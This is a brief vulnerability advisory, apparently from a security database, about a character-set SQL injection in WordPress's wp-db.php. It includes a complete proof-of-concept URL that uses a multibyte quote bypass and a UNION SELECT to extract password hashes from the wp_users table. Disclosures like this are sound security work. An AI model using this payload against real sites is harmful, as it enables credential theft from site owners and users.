|
WordPress wp-db.php Character Set SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following proof-of-concept exploit is available: http://www.example.com/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/wp_users%23 |
|
|
Privacy Statement |
